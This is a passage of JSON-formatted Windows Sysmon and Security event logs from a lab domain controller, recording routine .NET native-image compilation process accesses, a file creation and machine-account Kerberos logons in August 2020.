accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:05.213\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4335-5F2D-0000-00101EF71000}\r\nTargetProcessId: 4376\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:05.213","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4335-5F2D-0000-00101EF71000}","TargetProcessId":"4376","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8242,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:05.213\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4335-5F2D-0000-00101EF71000}\r\nTargetProcessId: 4376\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:05.213","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4335-5F2D-0000-00101EF71000}","TargetProcessId":"4376","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8243,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:05.260\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4335-5F2D-0000-00101EF71000}\r\nTargetProcessId: 4376\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:05.260","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4335-5F2D-0000-00101EF71000}","TargetProcessId":"4376","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222291,"ProcessID":860,"ThreadID":2272,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x10FC2B\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x10fc2b","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 12:04:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222292,"ProcessID":860,"ThreadID":2272,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x10FC2B\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t51569\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x10fc2b","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"51569","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:04:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222293,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x10FC2B\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x10fc2b","LogonType":"3","EventReceivedTime":"2020-08-07 12:04:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8244,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:10.260\r\nProcessGuid: {90617006-4335-5F2D-0000-00101EF71000}\r\nProcessId: 4376\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\1118-0\\System.dll\r\nCreationUtcTime: 2020-08-07 12:04:10.260","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:10.260","ProcessGuid":"{90617006-4335-5F2D-0000-00101EF71000}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\1118-0\\System.dll","CreationUtcTime":"2020-08-07 12:04:10.260","EventReceivedTime":"2020-08-07 12:04:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8245,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:10.557\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-433A-5F2D-0000-00107AFD1000}\r\nTargetProcessId: 4492\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:10.557","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-433A-5F2D-0000-00107AFD1000}","TargetProcessId":"4492","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8246,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:10.557\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-433A-5F2D-0000-00107AFD1000}\r\nTargetProcessId: 4492\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:10.557","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-433A-5F2D-0000-00107AFD1000}","TargetProcessId":"4492","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8247,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:10.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-433A-5F2D-0000-00107AFD1000}\r\nTargetProcessId: 4492\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:10.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-433A-5F2D-0000-00107AFD1000}","TargetProcessId":"4492","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT